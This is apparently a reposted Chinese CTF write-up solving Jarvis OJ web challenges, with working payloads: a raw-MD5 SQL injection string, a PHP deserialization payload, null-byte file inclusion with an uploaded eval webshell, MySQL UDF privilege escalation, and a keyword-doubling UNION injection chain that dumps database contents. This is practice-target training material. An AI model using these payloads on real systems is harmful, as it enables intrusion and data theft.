Jarvis OJ Writeup

admin 2024年4月3日09:28:31评论4 views字数 12365阅读41分13秒阅读模式

PORT 51

➜  ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Yeah!! Here's your flag:PCTF{}</h3>
</body>
</html>

Login

md5

header 头里面发现 hint: “select * from `admin` where password=’”.md5($pass,true).”‘“

md5 ( string $str [, bool $raw_output = FALSE ] ) : string
// raw 为 TRUE 时为 16 字符二进制格式,默认为 false 32 字符十六进制数

搜索一下,发现有个牛逼的字符串: ffifdyop

https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

http://www.am0s.com/functions/204.html

传入之后,最终的 sql 语句变为 select * from admin where password=’’or’6�]��!r,��b’

成功闭合,得到万能密码,登录即可。

神盾局的秘密

反序列化

通过 /showimg.php?img=c2hvd2ltZy5waHA= 可读取源码

// showing.php
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE
&& stripos($f,'\\')===FALSE&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

// index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

// shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

构造利用的 pop 链即可,payload

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

inject

有反引号的注入

详见 https://wywwzjj.top/2019/02/26/Jarvis-OJ-inject/

upload + lfi

扫了一遍目录,没发现什么文件,尝试 filter 读源码,也失败了

主题界面是一个图片上传,再加一个展示界面

配置信息给的这么清晰,有点可疑,然而并没有找到什么有用的洞

Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24

按理说是可以文件包含,php://filter/read=convert.base64-encode/resource=index

然而显示 Cross domain forbidden!,估计是加了啥子 waf,此路不通

fopen() 时应该是拼接了一个 “.php”,这里可以用 %00 绕过

fopen(index.jj): failed to open stream 绕过成功

图片只能上传 jpg ,所以直接抓包在后面再个一句话,然后用 fopen() 去包含

但是,注意是但是,这里有个坑,不能用 <?php,有 waf,要用 eval($_POST[1])

然后 page=uploads/1552805580.jpg%00 自动出 flag,都不需要菜刀

这题出的太过死板, 是可以的,居然没任何回显,专考 标签了,没意义

有时间自己改一改出个题

api调用

xxe 入门

请设法获得目标机器/home/ctf/flag.txt中的flag值。

参考 https://blog.spoock.com/2016/11/15/jarvisoj-web-writeup-1/

常规系统里对接收的请求都会做限制,比如POST之以content-type的application/x-www-form-urlencoded接收,但在一些框架系统里,框架会自动帮开发者识别传入的数据

POST 提交数据的四种常见方式

application/x-www-form-urlencoded 
multipart/form-data
application/json
application/xml

比如:默认为application/x-www-form-urlencoded接收的我只需修改为 application/json

即可传入JSON格式的数据,XML同理

这将导致原本不存在xml解析的地方可能存在XXE漏洞

function XHR() {

​ var xhr;

​ try {xhr = new XMLHttpRequest();}

​ catch(e) {

​ var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];

​ for (var i=0,len=IEXHRVers.length;i< len;i++) {

​ try {xhr = new ActiveXObject(IEXHRVers[i]);}

​ catch(e) {continue;}

​ }

​ }

​ return xhr;

​ }

​ function send(){

​ evil_input = document.getElementById("evil-input").value;

​ var xhr = XHR();

​ xhr.open("post","/api/v1.0/try",true);

​ xhr.onreadystatechange = function () {

​ if (xhr.readyState==4 && xhr.status==201) {

​ data = JSON.parse(xhr.responseText);

​ tip_area = document.getElementById("tip-area");

​ tip_area.value = data.task.search+data.task.value;

​ }

​ };

​ xhr.setRequestHeader("Content-Type","application/json");

​ xhr.send('{"search":"'+evil_input+'","value":"own"}');

​ }

payload:

Content-Type: application/xml

​ <!DOCTYPE data[

]>

&file;

login

​ header 头里面发现 hint: "select * from admin where password='".md5($pass,true)."'"

​ md5 ( string $str [, bool $raw_output = FALSE ] ) : string

​ string 要计算的字符串

​ raw 为 TRUE 时为 16 字符二进制格式,默认为 false 32 字符十六进制数

​ 参考 https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

http://www.am0s.com/functions/204.html

​ 有个牛逼的字符串: ffifdyop

​ 传入之后,最终的 sql 语句变为 select * from admin where password=''or'6�]��!r,��b'

​ 成功闭合,得到万能密码

RE

​ 咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦

​ 题目给了个 udf.so 的文件,IDA 启动,然而并没有发现啥东西(汇编还要加油

​ 前几天刚看了MySQL提权就忘了,后来才知道 udf.so 也是拿来提权的,

http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/

​ 将 udf.so 导入到MySQL的插件里面,注意改下权限

​ mysql> show variables like "%plugin%";

​ +-------------------------------+------------------------+

​ | Variable_name | Value |

​ +-------------------------------+------------------------+

​ | default_authentication_plugin | mysql_native_password |

​ | plugin_dir | /usr/lib/mysql/plugin/ |

​ +-------------------------------+------------------------+

​ 2 rows in set (0.00 sec)

​ mysql> create function help_me returns string soname 'udf.so';

​ Query OK, 0 rows affected (0.00 sec)

​ mysql> select help_me();

​ +---------------------------------------------+

​ | help_me() |

​ +---------------------------------------------+

​ | use getflag function to obtain your flag!! |

​ +---------------------------------------------+

​ 1 row in set (0.00 sec)

​ mysql> create function getflag returns string soname 'udf.so';

​ Query OK, 0 rows affected (0.00 sec)

​ mysql> select getflag();

​ +------------------------------------------+

​ | getflag() |

​ +------------------------------------------+

​ | PCTF{Interesting_U5er_d3fined_Function} |

​ +------------------------------------------+

​ 1 row in set (0.00 sec)

flag在管理员手里

​ 然而又是 hash 扩展攻击,不做了

​ <?php

​ $auth = false;

​ $role = "guest";

​ $salt = '32342';

​ if (isset($_COOKIE["role"])) {

​ $role = unserialize($_COOKIE["role"]);

​ $hsh = $_COOKIE["hsh"];

​ if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {

​ $auth = true;

​ } else {

​ $auth = false;

​ }

​ } else {

​ $s = serialize($role);

​ setcookie('role',$s);

​ $hsh = md5($salt.strrev($s));

​ setcookie('hsh',$hsh);

​ }

​ if ($auth) {

​ echo "

Welcome Admin. Your flag is ";

​ } else {

​ echo "

Only Admin can see the flag!!

";

​ }

​ ?>

IN A Mess

​ <?php

​ error_reporting(0);

​ echo "";

​ if(!$_GET['id']) {

​ header('Location: index.php?id=1');

​ exit();

​ }

​ $id=$_GET['id'];

​ $a=$_GET['a'];

​ $b=$_GET['b'];

​ if(stripos($a,'.')) {

​ echo 'Hahahahahaha';

​ return ;

​ }

​ $data = @file_get_contents($a,'r');

​ if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5

​ and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {

​ require("flag.txt");

​ }

​ else {

​ print "work harder!harder!harder!";

​ }

​ ?>

​ payload1: index.php/?id=a&a=php://input&b=%0034253

​ post: 1112 is a nice lab!

​ eregi() 会被 %00 截断,但 strlen() 不会

​ ==> �Come ON!!! {/^HT2mCpcvOLf}

​ 进入该目录,自动跳转到 web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1

​ 发现空格被过滤,尝试绕过

​ - 使用注释绕过,/**/

​ - 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格

​ - 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a

​ 这里可以用 /233/ 代替空格

​ order by 没有回显,放弃该法

​ /?id=2/233/uunionnion/233/seselectlect/233/1,2,3%23

​ 得到 3, 说明字段数也是 3

​ payload2:

​ 获取所有数据库名

​ ?id=2/233/uniounionn/233/selselectect/233/1,2,group_concat(schema_name)/233/frfromom/233/information_schema.schemata%23

​ ==> information_schema,test

​ 获取本数据库内的所有表名

​ ?id=2/233/uniounionn/233/selselectect/233/1,2,group_concat(table_name)/233/frfromom/233/information_schema.tables/233/where/233/table_schema=database()%23

​ ==> content

​ (以上两步可省略)

​ 获取所有字段名

​ ?id=2/233/uniounionn/233/selselectect/233/1,2,group_concat(column_name)/233/frfromom/233/information_schema.columns/233/where/233/table_name=0x636f6e74656e74%23

​ ==> id,context,title

​ 获取所有数据

​ ?id=2/233/uniounionn/233/selselectect/233/1,2,group_concat(id,context,title)/233/frfromom/233/content%23

​ ==> 1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666

web

​ 是一个输入框,输入密码,显示密码错误

​ 扫不到其他目录,看看源码,有个 app.js

​ 搜索 Wrong Password!!

​ $.post("checkpass.json", t,

​ function(t) {

​ self.checkpass(e) ? self.setState({

​ errmsg: "Success!!",

​ errcolor: b.green400

​ }) : (self.setState({

​ errmsg: "Wrong Password!!"

​ ......

​ }))

​ })

​ 跟进去

​ function(e) {

​ if (25 !== e.length) return ! 1;

​ for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));

​ for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {

​ for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];

​ if (i !== r[n]) return ! 1

​ }

​ return ! 0

​ }

​ 变成了一个数学题,解线性方程组

​ import numpy as np

​ o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]

​ r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]

​ o = np.array(o)

​ r = np.array(r)

​ x = np.linalg.solve(o,r)

​ res = ''

​ for i in x:

​ res += chr(int(str(i)[0:-2]))

​ print(res)

- By:wywwzjj.top

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月3日09:28:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jarvis OJ Writeuphttps://cn-sec.com/archives/2624257.html

发表评论

匿名网友 填写信息